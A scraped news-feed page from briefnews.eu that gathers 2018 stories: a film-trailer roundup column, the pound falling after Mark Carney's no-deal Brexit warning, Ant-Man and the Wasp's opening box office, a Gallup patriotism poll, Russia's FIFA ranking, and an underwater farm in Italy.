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]]> https://briefnews.eu/bitcoin-nosedives-below-4000-crashing-through-2nd-milestone-in-a-week/feed/ 0 This Week In Trailers: Tito and the Birds, All Creatures Here Below, Unlovable, Weightless, Don’t Be a Dick About It https://briefnews.eu/this-week-in-trailers-tito-and-the-birds-all-creatures-here-below-unlovable-weightless-dont-be-a-dick-about-it/ https://briefnews.eu/this-week-in-trailers-tito-and-the-birds-all-creatures-here-below-unlovable-weightless-dont-be-a-dick-about-it/#respond Sat, 20 Oct 2018 16:33:12 +0000 http://briefnews.eu/this-week-in-trailers-tito-and-the-birds-all-creatures-here-below-unlovable-weightless-dont-be-a-dick-about-it/ Green Band Trailer

Trailers are an under-appreciated art form insofar that many times they’re seen as vehicles for showing footage, explaining films away, or showing their hand about what moviegoers can expect. Foreign, domestic, independent, big budget: What better way to hone your skills as a thoughtful moviegoer than by deconstructing these little pieces of advertising?

This week we meet some brothers who share a special bond, see how emotions can become weapons, steal a kid for fun, break the cycle of sex addiction, and meet an offspring we didn’t know we had.

Tito and the Birds

Brazilians Gustavo Steinberg, Gabriel Bitar, and André Catoto tell an animated tale that seems reminiscent of Monsters, Inc. in how it weaponizes emotions.

Tito is a shy 10-year-old boy who lives with his mother. Suddenly, an unusual epidemic starts to spread, making people sick whenever they get scared. Tito quickly discovers that the cure is somehow related to his missing father’s research on bird song. He embarks on a journey to save the world from the epidemic with his friends. Tito’s search for the antidote becomes a quest for his missing father and for his own identity.

The trailer promises an adventure that departs from the usual animated fare audience have been getting in the past couple of decades. The style seems more artistic, rough around the edges (literally), but infused with the kind of originality that kids ought to devour feverishly.

All Creatures Here Below

Directed by Collin Schiffli, and starring David Dastmalchian and Karen Gillan, the trailer is one of the best I’ve seen all month. Written by Dastmalchian himself, a heartbreaking premise manages to keep you moving along effortlessly:

Gensan (David Dastmalchian) and Ruby (Karen Gillan) struggle to thrive in the face of abject poverty. When Gensan loses his job and is forced to break the law they escape and seek refuge in Kansas City, a place Ruby’s deeply afraid of. Ruby’s indelible choices, and desire to make a family, complicate their journey to freedom.

The story beats are telegraphed nicely without giving a hint where we’re going to end. If Dastmalchian’s written work for the incredibly powerful Animals that came out a few years ago is any indication of this film’s quality, I am prepared and expecting something great.

Unlovable

A drama? A musical? John Hawkes playing the gee-tar? Give it to me. Coming from executive producers Jay & Mark Duplass, this movie seems to fit perfectly within Duplass universe. It’s a small story, with low stakes, but it leans heavily into the actors bringing something incredible to their roles. Director Suzi Yoonessi isn’t doing anything extraordinary here with how she’s capturing what’s happening before us, but the trailer shows us how we’re going to be more focused on the characters themselves.

Weightless

This trailer dramatically crushes it while being narratively devastating, all in just a minute and a half. Director Jaron Albertin masterfully mixes a vérité style in a way that feels like you’re watching both something fictional and very much real. The mix works exceptionally well as the trailer blends these two styles effortlessly. We get just enough narrative to set the table, and everything that comes after that only helps to bolster the case why this is a little film that could use some attention. The music is lovely, and the shot of the father/son in the car as they tear down a dragstrip together looks like it’s worth the price of admission alone.

Don’t Be a Dick About It

Yes, the title catches your eye, but director Ben Mullinkosson’s documentary about two brothers actually looks fascinating. What we’re exploring here is the bond that two brothers share, a topic that may seem facile at first, but that misses the point. The trailer subtly captures that unique relationship that exists between siblings. It’s sweet, tender, funny, and looks like an excellent slice-of-life portrait of brothers in arms.

Nota bene: If you have any suggestions of trailers for possible inclusion in this column, even have a trailer of your own to pitch, please let me know by sending me a note at Christopher_Stipp@yahoo.com or look me up via Twitter at @Stipp

In case you missed them, here are the other trailers we covered at /Film this week:

The post This Week In Trailers: Tito and the Birds, All Creatures Here Below, Unlovable, Weightless, Don’t Be a Dick About It appeared first on /Film.

]]> https://briefnews.eu/this-week-in-trailers-tito-and-the-birds-all-creatures-here-below-unlovable-weightless-dont-be-a-dick-about-it/feed/ 0 The pound falls below $1.30 after Carney warns of ‘uncomfortably high’ no deal Brexit risk https://briefnews.eu/the-pound-falls-below-1-30-after-carney-warns-of-uncomfortably-high-no-deal-brexit-risk/ https://briefnews.eu/the-pound-falls-below-1-30-after-carney-warns-of-uncomfortably-high-no-deal-brexit-risk/#respond Fri, 03 Aug 2018 09:03:13 +0000 http://briefnews.eu/the-pound-falls-below-1-30-after-carney-warns-of-uncomfortably-high-no-deal-brexit-risk/ mark carneyHannelore Foerster/Getty

  • The pound dropped below 1.30 against the dollar on Friday morning.
  • The fall came after Bank of England Governor Mark Carney said there was an “uncomfortably high” chance that Britain will leave the EU without a deal.
  • The Bank of England ran an economic simulation of what might happen after a no deal Brexit. It suggested the UK would fall into a recession and interest rates and unemployment would soar.
  • You can track the pound’s movements live at Markets Insider.

LONDON — The pound fell below $ 1.30 against the dollar on Friday morning after Bank of England Governor Mark Carney said there was an “uncomfortably high” chance that Britain will leave the EU without a deal.

“The possibility of a no deal at the moment is uncomfortably high. It is highly undesirable, parties should do all things to avoid it,” Carney said during an interview on BBC Radio 4’s Today Programme.

See the rest of the story at Business Insider

NOW WATCH: The CEO of one of the largest health insurers in the US explains the problem with healthcare in America

See Also:

SEE ALSO: Bank of England hikes rates for the 2nd time since the financial crisis

]]> https://briefnews.eu/the-pound-falls-below-1-30-after-carney-warns-of-uncomfortably-high-no-deal-brexit-risk/feed/ 0 Ant-Man and the Wasp opens BELOW expectations at box office – but there's good news https://briefnews.eu/ant-man-and-the-wasp-opens-below-expectations-at-box-office-but-theres-good-news/ https://briefnews.eu/ant-man-and-the-wasp-opens-below-expectations-at-box-office-but-theres-good-news/#respond Sun, 08 Jul 2018 22:32:56 +0000 http://briefnews.eu/ant-man-and-the-wasp-opens-below-expectations-at-box-office-but-theres-good-news/

The new Paul Rudd and Evangeline Lilly-fronted caper has come in slightly below studio estimates, according to Collider; winning the US weekend with around $ 76 million.

Analysts had expected it to score around $ 80-85 million, especially after it grabbed an impressive $ 33 million on Friday alone – though Disney have insisted they are more than happy with the result, having projected it to open in the $ 70-85 million ballpark.

Putting it alongside other MCU entries, it’s the fifth lowest opening of the 20 blockbusters – ahead of only Thor, Captain America: The First Avenger, The Incredible Hulk and Ant-Man.

The good news is that it has outpaced Ant-Man’s opening weekend by a good $ 20 million.

It’s interesting that Ant-Man and the Wasp bagged a lower opening weekend than Solo: A Star Wars Story, too – and that latter movie has been branded something of a flop.

But what’s worth bearing in mind here is that Ant-Man and the Wasp’s budget and costs would have been lower than other Marvel big-hitters, meaning Kevin Feige is extremely unlikely to be losing any sleep.

The film’s international box office will be relatively gradual at building up: the UK won’t be able to see it until August 2.

Elsewhere, Incredibles 2 made it to $ 700 million to sit on $ 773 million worldwide; with $ 504 million from the US alone. That’s now the highest-grossing animated movie ever at the US box office.

It’s another caper British fans have to wait longer to see: it won’t be out in the UK until this coming weekend.

Ant-Man and the Wasp is a prequel-of-sorts to Avengers: Infinity War, with its end credits scenes tying up with the finale of that jaw-dropping epic.

Both Rudd and Lilly will be seen in next year’s as-yet-untitled Avengers 4.

The next MCU movie to hit cinemas will be Captain Marvel; due next March. Then comes Avengers 4, with Spider-Man: Far From Home to follow very soon thereafter.

Ant-Man and the Wasp is out now in the US, and August 2 in the UK.

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]]> https://briefnews.eu/ant-man-and-the-wasp-opens-below-expectations-at-box-office-but-theres-good-news/feed/ 0 'Low point in US patriotism:' Number of 'extremely proud' Americans slips below 50% for first time https://briefnews.eu/low-point-in-us-patriotism-number-of-extremely-proud-americans-slips-below-50-for-first-time/ https://briefnews.eu/low-point-in-us-patriotism-number-of-extremely-proud-americans-slips-below-50-for-first-time/#respond Tue, 03 Jul 2018 05:42:39 +0000 http://briefnews.eu/low-point-in-us-patriotism-number-of-extremely-proud-americans-slips-below-50-for-first-time/ With politics and society increasingly divided, only 47 percent of US citizens polled say they’re “extremely proud” to be Americans, the lowest number ever. The number of Republicans with this extreme pride is at a five-year high.

A new annual survey by Gallup, released on Monday, has highlighted two widening political divides, one between Republicans and conservatives, on the other between Democratic and liberals.

Only 32 percent of Democrats, and just 23 percent of political liberals have said that they are “extremely proud” to be Americans. This figure represents a sharp decline from last year, when 43 percent of Democrats considered themselves to be “extremely proud” of their nationality.

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© Jonathan Bachman

At the same time, while the percentage of “extremely proud” Democrats has continued to plummet since 2013, these numbers among the GOP supporters have risen for the third year in a row, reaching an impressive 74 percent this year, the highest overall over the last five years. Among the conservatives the number is almost as high, reaching 65 percent.

However, the strong patriotic feelings voiced by the Republican respondents did not make up for the lack of those among the Democratic Party supporters, who took part in the Gallup poll, which was conducted between June 1- 13.

Overall, only 47 percent, the lowest number ever recorded during the 18-year history of this measurement, have said they are “extremely proud” to call themselves Americans.

While Gallup points out that the upcoming 4th of July “marks a low point in US patriotism,” the statistics, while quite damning on the surface, does not mean that the majority of Americans no longer cherish their country – it is the extent that matters.

Read more


© Robin Rayne Nelson / ZUMA Press / Global Look Press

Another 25 percent have said they are “very proud” to be Americans, while a further 16 percent of those surveyed included themselves into the “moderately proud” category. 72 percent of “very” and “extremely” proud Americans have also broken a record at their lowest point ever.

Besides political affiliation and preferences, gender, race and age play a crucial role in one’s attitude to the country.

For instance, the number of women who are extremely proud to be an American has dropped from 50 percent last year to 44pc this year. The same trend can be spotted among the non-white population, where the decrease amounts to 11 percentage points, from 44pc to 33pc this year. Young people (18 to 29), who, along with the former two groups, are mostly left-leaning, also began to feel less proud being Americans, with a drop from 43 to 33 percent.

On the other hand, more middle-aged Americans have an improved opinion of their country, as six percent more are proud to be an American in 2018 than in last year (56-50pc).

Purporting to explain the overall slump in patriotism, Gallup has noted that “politics appears to be a factor, with sharp declines evident among Democrats and political liberals and no decrease among Republicans and conservatives.”

The overwhelming partisanship in US politics and a distaste by left-leaning persons for Donald Trump has contributed to the trend.

“Left-leaning groups’ antipathy toward Donald Trump and their belief that other countries look unfavorably on the president are likely factors in their decline in patriotism, particularly the sharp drops in the past year,” it said, noting, however, that “the declines began before Trump was elected.”

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]]> https://briefnews.eu/low-point-in-us-patriotism-number-of-extremely-proud-americans-slips-below-50-for-first-time/feed/ 0 Russia become lowest-ranked World Cup team after slipping below Saudis in FIFA standings https://briefnews.eu/russia-become-lowest-ranked-world-cup-team-after-slipping-below-saudis-in-fifa-standings/ https://briefnews.eu/russia-become-lowest-ranked-world-cup-team-after-slipping-below-saudis-in-fifa-standings/#respond Thu, 07 Jun 2018 17:54:57 +0000 http://briefnews.eu/russia-become-lowest-ranked-world-cup-team-after-slipping-below-saudis-in-fifa-standings/ Hosts Russia will be the lowest-ranked of all the 32 teams at this summer’s World Cup, after FIFA’s latest international standings showed the team had slipped below opening game opponents Saudi Arabia.

Russia dropped to 70th in the official FIFA rankings released on Thursday – their lowest position ever and three places below the Saudis in 67th.

The pair meet in the World Cup opening game at Moscow’s Luzhniki Stadium on June 14.

Stanislav Cherchesov’s Russian team drew 1-1 with Turkey in their final World Cup warm-up game on Tuesday, and are without a win in their last seven matches.

Read more


© Liao Yujie

The team have fallen steadily down the rankings in recent years, partly as a result of being deprived of competitive qualifying games as World Cup hosts, but also due to a run of poor run of form stretching back to the autumn.

Teams above Russia in the rankings include Burkina Faso in 52nd, Albania in 58th, Cape Verde Islands in 65th, and Guinea in 68th.

Russia will be hoping to make a mockery of the rankings when they face World Cup Group A opponents Saudi Arabia, Egypt and Uruguay – with the latter two countries ranked 45th and 14th respectively.

Most Russian fans would see getting out of the group as the main target, which would be a first for the country since it began competing independently following the collapse of the Soviet Union.

Progressing any further than the last 16 would be seen as a major upset, given that Russia would most likely face either Spain or Portugal should they emerge from their group.  

The World Cup hosts are 50-1 outsiders to win the tournament outright, but can perhaps take heart from previous underdogs who have defied the odds.

South Korea shocked the world when they went on a stunning run all the way to the World Cup semi-final as hosts in 2002, beating Spain and Italy along the way before losing 1-0 to Germany.

Denmark caused a seismic shock when they claimed the 1992 European title in Sweden – despite only entering the tournament after Yugoslavia were disqualified – while Greece won the same title in Portugal in 2004 after arriving as 150-1 outsiders.

READ MORE: ‘Come on England!’ Jose Mourinho makes shock selections in RT’s exclusive World Cup predictor

The latest FIFA rankings saw reigning world champions Germany remain in top spot, ahead of Brazil in second and Belgium in third.

Cristiano Ronaldo’s Portugal are fourth, one place in front of Lionel Messi’s Argentina. Switzerland stay in a surprise sixth, ahead of much-fancied World Cup contenders France and Spain, who are in seventh and 10th places respectively.

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]]> https://briefnews.eu/russia-become-lowest-ranked-world-cup-team-after-slipping-below-saudis-in-fifa-standings/feed/ 0 A father and son are growing fruit and vegetables 8 metres below the surface of the Mediterranean Sea — here’s why https://briefnews.eu/a-father-and-son-are-growing-fruit-and-vegetables-8-metres-below-the-surface-of-the-mediterranean-sea-heres-why/ https://briefnews.eu/a-father-and-son-are-growing-fruit-and-vegetables-8-metres-below-the-surface-of-the-mediterranean-sea-heres-why/#respond Tue, 13 Mar 2018 09:11:03 +0000 http://briefnews.eu/a-father-and-son-are-growing-fruit-and-vegetables-8-metres-below-the-surface-of-the-mediterranean-sea-heres-why/
  • Nemo’s Garden is an underwater farm in Italy.
  • The project consists of 5 biospheres connected by a central ‘tree of life’.
  • Each biosphere has carefully monitored temperature and humidity.

    •  

    This is Nemo’s Garden, it’s an underwater farm created by the Ocean Reef Group.

    The project was started as an experiment as the owner’s crops were suffering in cold weather. Nemo’s Garden utilises the near constant temperature of the sea to make growing plants easier.

    See the rest of the story at Business Insider

    See Also:

    SEE ALSO: We took a ride in a killer whale jet-ski submarine along London’s River Thames — and it was like an underwater rollercoaster

    ]]>     https://briefnews.eu/a-father-and-son-are-growing-fruit-and-vegetables-8-metres-below-the-surface-of-the-mediterranean-sea-heres-why/feed/ 0